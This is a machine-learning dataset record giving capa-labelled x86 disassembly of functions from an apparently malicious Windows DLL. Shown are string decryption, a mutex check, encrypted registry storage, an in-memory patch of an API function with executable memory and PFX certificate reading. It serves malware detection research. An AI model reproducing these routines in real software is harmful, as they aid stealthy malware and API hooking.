joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000181e
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
xor edi, edi
cmp eax, edi
je 0x1000184b
push 0x86
push 0x16
mov edx, 0x1002971c
call fcn.100117e3
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push eax
call esi
test eax, eax
je 0x10001866
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x104]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1000198f
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov ebx, eax
cmp ebx, edi
je 0x1000198f
push 0x7c
pop eax
call fcn.1001dad0
mov eax, esp
cmp eax, edi
je 0x100018b7
push 0x8b
push 0x79
mov edx, 0x10027ae8
call fcn.100117e3
push ebx
push eax
call esi
test eax, eax
je 0x1000198f
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x100018e2
push 0x93
push 0xa
mov edx, 0x1002828c
call fcn.100117e3
push edi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov ebx, eax
cmp ebx, edi
je 0x1000198f
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x10001914
push 0x86
push 0x12
mov edx, 0x10028324
call fcn.100117e3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push ebx
call esi
mov edi, eax
test edi, edi
je 0x10001945
push edi
push 0x100017d6
push 0x1002b308
call fcn.10011ddb
test eax, eax
je 0x10001945
push dword [0x1002b308]
push edi
push ebx
call fcn.100068b5
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x10001964
push 0x92
push 0x17
mov edx, 0x1002830c
call fcn.100117e3
push eax
push ebx
call esi
mov esi, eax
test esi, esi
je 0x1000198f
push esi
push 0x1000178b
push 0x1002b30c
call fcn.10011ddb
test eax, eax
je 0x1000198f
push dword [0x1002b30c]
push esi
push ebx
call fcn.100068b5
lea esp, [ebp - 0x110]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100019c3
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
push esi
push edi
push 0x103
xor ebx, ebx
lea eax, [ebp - 0x11b]
push ebx
push eax
mov byte [ebp - 0x11c], 0
call sub.ntdll.dll_memset
add esp, 0xc
push 0x14
pop ecx
xor al, al
lea edi, [ebp - 0x18]
push 0x1c
rep stosb byte es:[edi], al
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x10001a16
push 0x88
push 0x1b
mov edx, 0x10027a08
call fcn.100117e3
mov esi, 0x104
push esi
lea ecx, [ebp - 0x11c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x11c]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10001a33
sub eax, ecx
push 0x8004
lea ecx, [ebp - 0x18]
push ecx
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.10012786
xor al, al
lea edi, [ebp - 0x11c]
mov ecx, esi
rep stosb byte es:[edi], al
lea eax, [ebp - 0x11c]
push eax
push 0xa
lea edi, [ebp - 0x18]
call fcn.1001285b
lea eax, [ebp - 0x220]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 1
push ebx
lea eax, [ebp - 0x220]
push eax
call fcn.10012106
mov esi, eax
cmp esi, ebx
jne 0x10001acb
call fcn.100052df
cmp dword [0x1002b74c], ebx
je 0x10001ab9
push ebx
call fcn.100056a0
call fcn.10005808
test eax, eax
je 0x10001b7a
jmp 0x10001b70
push 1
call fcn.100056a0
call fcn.100057ba
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov ebx, esp
test ebx, ebx
je 0x10001af8
push 0x94
push 0xf
mov eax, ebx
mov edx, 0x10027940
call fcn.100117e3
call fcn.100107a2
mov edi, eax
test edi, edi
je 0x10001b5e
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 4], eax
test eax, eax
je 0x10001b25
push 0x86
push 4
mov edx, 0x10029748
call fcn.100117e3
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001b2a
sub ecx, edx
push ecx
push ebx
push dword [ebp - 4]
lea eax, [ebp - 0x324]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x324]
push eax
push esi
call fcn.100105dd
mov esi, edi
call fcn.1001272d
jmp 0x10001b65
push ebx
push esi
call fcn.100105dd
lea edi, [ebp - 0x220]
call fcn.100122a2
call fcn.10002306
call fcn.1000199a
lea esp, [ebp - 0x330]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001b85
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x1002b544], 0
push esi
push edi
je 0x10001ba0
mov eax, dword [0x1002b548]
jmp 0x10001c69
push 0x14
pop ecx
xor al, al
lea edi, [ebp - 0x14]
push 0x20
rep stosb byte es:[edi], al
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x10001bc9
push 0x88
push 0x1b
mov edx, 0x10027a08
call fcn.100117e3
push 0x104
mov esi, 0x1002b338
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001be0
push 0x8004
lea ecx, [ebp - 0x14]
push ecx
sub eax, edi
push eax
push esi
call fcn.10012786
xor al, al
mov edi, esi
mov ecx, 0x104
push esi
rep stosb byte es:[edi], al
push 6
lea edi, [ebp - 0x14]
call fcn.1001285b
push esi
push 0
call fcn.10002267
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
mov dword [0x1002b548], eax
jne 0x10001c45
test esi, esi
je 0x10001c5f
push esi
call fcn.10010350
mov eax, dword [0x1002b548]
test eax, eax
je 0x10001c5f
call fcn.1000f43f
test eax, eax
jne 0x10001c5a
and dword [0x1002b548], eax
push esi
call fcn.10010350
mov eax, dword [0x1002b548]
mov dword [0x1002b544], 1
lea esp, [ebp - 0x20]
pop edi
pop esi
leave
ret
Function at 0x1000209d
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
xor eax, eax
mov byte [ebp - 0x14], 0
push esi
push edi
lea edi, [ebp - 0x13]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x1002b54c]
test eax, eax
jne 0x100021dd
push 0x1c
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x100020e5
push 0x88
push 0x1b
mov edx, 0x10027a08
call fcn.100117e3
mov ebx, 0x104
push ebx
lea ecx, [ebp - 0x21c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
test esi, esi
je 0x10002117
push 0x7f
push 2
mov eax, esi
mov edx, 0x100297e8
call fcn.100117e3
call fcn.1001091c
push eax
push esi
lea eax, [ebp - 0x118]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp - 0x118]
add esp, 0x10
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002137
lea edi, [ebp - 0x21c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10002147
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x21c]
rep movsb byte es:[edi], byte [esi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002168
push 0x8004
lea ecx, [ebp - 0x14]
sub eax, esi
push ecx
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.10012786
xor al, al
lea edi, [ebp - 0x118]
mov ecx, ebx
rep stosb byte es:[edi], al
lea eax, [ebp - 0x118]
push eax
push 0xa
lea edi, [ebp - 0x14]
call fcn.1001285b
lea eax, [ebp - 0x118]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100021ad
sub eax, ecx
lea esi, [eax + 1]
call fcn.10012679
mov dword [0x1002b54c], eax
test eax, eax
je 0x100021dd
lea ecx, [ebp - 0x118]
mov esi, eax
mov edx, ecx
sub esi, edx
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x100021d3
lea esp, [ebp - 0x228]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002306
Capabilities:
Check if file exists
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push 0x3c
xor edi, edi
pop eax
mov dword [ebp - 4], edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x10002332
push 0x88
push 0x3b
mov edx, 0x10029b58
call fcn.100117e3
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, edi
jne 0x100023b3
cmp dword [ebp - 4], edi
je 0x100023b3
push 4
pop eax
push 0x18
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
pop eax
mov dword [ebp - 8], edi
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, edi
je 0x1000237e
push 0x8a
push 0x15
mov eax, esi
mov edx, 0x10029b94
call fcn.100117e3
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100023c9
cmp dword [ebp - 8], edi
je 0x100023c9
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
jmp 0x100023c9
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x100023c9
call esi
cmp dword [ebp - 4], edi
je 0x100023d7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esp, [ebp - 0x18]
pop edi
pop esi
leave
ret
Function at 0x10002649
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0xc
pop eax
xor edi, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x10002673
push 0x99
push 0xb
mov edx, 0x10028234
call fcn.100117e3
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, edi
je 0x100026ed
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x1000269f
push 0x8b
push 0x10
mov edx, 0x100294dc
call fcn.100117e3
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp eax, edi
je 0x100026ed
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 0x10
push eax
mov dword [ebp - 4], edi
call ebx
test eax, eax
je 0x100026ed
push 5
pop ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
mov esi, 0x10020584
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [ebp - 8]
push 0x10
push dword [ebp - 8]
lea esi, [ebp - 0x10]
rep movsb byte es:[edi], byte [esi]
call ebx
xor edi, edi
inc edi
mov eax, edi
lea esp, [ebp - 0x1c]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100026f7
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x14
xor edi, edi
pop eax
xor ebx, ebx
mov dword [ebp - 4], edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 8], eax
cmp eax, edi
je 0x10002729
push 0x8b
push 0x11
mov edx, 0x100292e0
call fcn.100117e3
push edi
push 0x80
push 3
xor eax, eax
push edi
inc eax
push eax
push 0x80000000
push dword [ebp + 8]
lea ecx, [ebp - 8]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x100027f9
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
cmp eax, edi
jbe 0x100027f0
lea esi, [eax + 1]
call fcn.10012679
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x100027f0
push edi
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100027e8
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x10]
jne 0x100027e8
push 0x1000
push 0x1002058c
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.CRYPT32.dll_PFXImportCertStore]
mov esi, eax
cmp esi, edi
je 0x100027e8
push edi
lea eax, [ebp - 0x18]
push eax
push 0xa0000
push edi
push 0x10001
push esi
call dword [sym.imp.CRYPT32.dll_CertFindCertificateInStore]
cmp eax, edi
je 0x100027da
push eax
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
mov ebx, eax
and ebx, 1
push edi
push esi
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
test eax, eax
jne 0x100027e8
xor ebx, ebx
mov esi, dword [ebp - 0xc]
call fcn.1001272d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
lea esp, [ebp - 0x24]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000519c
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
push ebx
push esi
push edi
xor esi, esi
push 0x544
lea eax, [ebp - 0x54c]
push esi
push eax
mov dword [ebp - 0x550], esi
call sub.ntdll.dll_memset
add esp, 0xc
mov ebx, 0x548
xor al, al
lea edi, [ebp - 0x550]
mov ecx, ebx
rep stosb byte es:[edi], al
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x550]
push eax
push esi
push esi
push 0x1002bc7c
push dword [0x1002bc78]
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10005250
cmp dword [0x1002bc8c], esi
jne 0x10005250
call fcn.10001b85
test eax, eax
je 0x10005250
push ebx
lea eax, [ebp - 0x550]
mov ecx, 0x152
mov esi, 0x1002b730
lea edi, [ebp - 0x550]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.1000209d
push eax
call fcn.1001499e
push ebx
lea eax, [ebp - 0x550]
push eax
push 3
push 0
push 0x1002bc7c
push dword [0x1002bc78]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x1000527a
push ebx
lea eax, [ebp - 0x550]
push eax
call fcn.1000209d
push eax
call fcn.1001499e
mov ecx, 0x152
lea esi, [ebp - 0x550]
mov edi, 0x1002b730
rep movsd dword es:[edi], dword [esi]
call fcn.1000a385
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100052df
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x564
cmp dword [0x1002bc88], 0
push ebx
push esi
push edi
mov dword [ebp - 4], 0x548
jne 0x10005450
push 0x1002b178
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x14
pop ecx
xor al, al
lea edi, [ebp - 0x1c]
push 0x1c
rep stosb byte es:[edi], al
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x10005333
push 0x88
push 0x1b
mov edx, 0x10027a08
call fcn.100117e3
mov ebx, 0x104
push ebx
mov esi, 0x1002bc7c
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000534b
push 0x8004
lea ecx, [ebp - 0x1c]
push ecx
sub eax, edi
push eax
push esi
call fcn.10012786
xor al, al
mov edi, esi
mov ecx, ebx
push esi
rep stosb byte es:[edi], al
push 3
lea edi, [ebp - 0x1c]
call fcn.1001285b
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 8], eax
test eax, eax
je 0x10005399
push 0x88
push 0x1c
mov edx, 0x10027ac8
call fcn.100117e3
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x1002bc78
push 0xf023f
push 0
push eax
mov ebx, 0x80000001
push ebx
call edi
test eax, eax
je 0x100053d9
push 0x1002bc78
push 0x20219
push 0
push dword [ebp - 8]
push ebx
call edi
cmp eax, 2
je 0x1000542f
mov dword [0x1002bc8c], 1
xor al, al
mov ebx, 0x548
lea edi, [ebp - 0x564]
mov ecx, ebx
rep stosb byte es:[edi], al
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x564]
push eax
push 0
push 0
push esi
push dword [0x1002bc78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000542f
push ebx
lea eax, [ebp - 0x564]
push eax
call fcn.1000209d
push eax
call fcn.1001499e
mov ecx, 0x152
lea esi, [ebp - 0x564]
mov edi, 0x1002b730
rep movsd dword es:[edi], dword [esi]
cmp dword [0x1002bc78], 0
je 0x10005446
push 1
push 0
push 0x1000527f
call fcn.1001007b
mov dword [0x1002bc88], 1
lea esp, [ebp - 0x570]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000545b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54c
cmp dword [0x1002bc88], 0
push ebx
push esi
push edi
jne 0x10005475
call fcn.100052df
push 0x1002b178
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x1002bc78], 0
je 0x100054ec
mov ebx, 0x548
xor al, al
lea edi, [ebp - 0x548]
mov ecx, ebx
rep stosb byte es:[edi], al
push ebx
lea eax, [ebp - 0x548]
mov ecx, 0x152
mov esi, 0x1002b730
lea edi, [ebp - 0x548]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.1000209d
push eax
call fcn.1001499e
push ebx
lea eax, [ebp - 0x548]
push eax
push 3
push 0
push 0x1002bc7c
push dword [0x1002bc78]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100054ec
push dword [0x1002bc78]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push 0x1002b178
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100054fc
Capabilities:
Check if file exists
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov dword [ebp + 8], esi
mov dword [ebp - 4], esi
cmp ebx, esi
je 0x10005639
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10005639
push esi
lea eax, [ebp + 8]
push eax
push ebx
call fcn.10012106
mov dword [ebp - 8], eax
cmp eax, esi
je 0x10005639
cmp dword [ebp + 8], esi
je 0x10005601
cmp dword [ebp + 8], 2
jb 0x10005601
mov ecx, 0x4b50
cmp word [eax], cx
jne 0x10005601
push ebx
call fcn.100178d3
mov edi, eax
test edi, edi
je 0x10005601
inc esi
cmp dword [edi], esi
je 0x10005582
mov dword [0x1002c900], 0x80000
jmp 0x100055eb
mov eax, dword [edi + 4]
lea ecx, [ebp - 0x240]
push ecx
push eax
call fcn.10017369
mov dword [0x1002c900], eax
test eax, eax
jne 0x100055eb
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x100055ba
push 0x91
push 6
mov edx, 0x100294f4
call fcn.100117e3
push ebx
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp dword [edi], esi
jne 0x10005576
mov ecx, dword [edi + 4]
lea eax, [ebp - 0x110]
push eax
call fcn.100176d9
mov dword [0x1002c900], eax
test eax, eax
jne 0x100055eb
mov dword [ebp - 4], esi
cmp dword [edi], esi
sete al
test al, al
je 0x100055fc
push edi
call fcn.1001797f
jmp 0x10005601
call fcn.1001ada4
mov esi, dword [ebp - 8]
call fcn.1001272d
cmp dword [ebp - 4], 0
je 0x10005639
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10005639
mov edi, ebx
call fcn.100122a2
test eax, eax
je 0x10005639
push ebx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea esp, [ebp - 0x24c]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10005937
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
mov ebx, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push esi
push edi
lea eax, [ebp - 0x118]
push eax
xor edi, edi
push edi
push edi
push 0x1c
push edi
call ebx
test eax, eax
js 0x10005b55
push 0x28
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x10005980
push 0x87
push 0x22
mov edx, 0x10028660
call fcn.100117e3
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x10005b55
push 0x30
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 4], eax
cmp eax, edi
je 0x100059c5
push 0x8f
push 0x2b
mov edx, 0x10028684
call fcn.100117e3
push 0x38
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 0x10], eax
cmp eax, edi
je 0x100059e7
push 0x8a
push 0x33
mov edx, 0x100286b0
call fcn.100117e3
push 0x38
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 8], eax
cmp eax, edi
je 0x10005a09
push 0x85
push 0x33
mov edx, 0x100286e4
call fcn.100117e3
push 0x38
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x10005a2b
push 0x93
push 0x30
mov edx, 0x10028718
call fcn.100117e3
lea eax, [ebp - 0x118]
push eax
push edi
push edi
push 0x1c
push edi
call ebx
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
js 0x10005a6d
push dword [ebp - 4]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x118]
push eax
call esi
test eax, eax
je 0x10005a6d
lea edi, [ebp - 0x118]
call fcn.100122a2
xor edi, edi
lea eax, [ebp - 0x118]
push eax
push edi
push edi
push 0x1c
push edi
call ebx
test eax, eax
js 0x10005aa9
push dword [ebp - 0x10]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x118]
push eax
call esi
test eax, eax
je 0x10005aa9
lea edi, [ebp - 0x118]
call fcn.100122a2
xor edi, edi
lea eax, [ebp - 0x118]
push eax
push edi
push edi
push 0x1c
push edi
call ebx
test eax, eax
js 0x10005ae5
push dword [ebp - 8]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x118]
push eax
call esi
test eax, eax
je 0x10005ae5
lea edi, [ebp - 0x118]
call fcn.100122a2
xor edi, edi
lea eax, [ebp - 0x118]
push eax
push edi
push edi
push 0x1c
push edi
call ebx
test eax, eax
js 0x10005b21
push dword [ebp - 0xc]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x118]
push eax
call esi
test eax, eax
je 0x10005b21
lea edi, [ebp - 0x118]
call fcn.100122a2
xor edi, edi
mov eax, dword [ebp - 4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005b27
sub eax, edx
lea esi, [eax + 1]
call fcn.10012679
mov dword [0x1002b190], eax
cmp eax, edi
je 0x10005b55
mov ecx, dword [ebp - 4]
sub eax, ecx
mov dl, byte [ecx]
mov byte [eax + ecx], dl
inc ecx
test dl, dl
jne 0x10005b46
call fcn.1001af58
lea esp, [ebp - 0x128]
pop edi
pop esi
pop ebx
leave
ret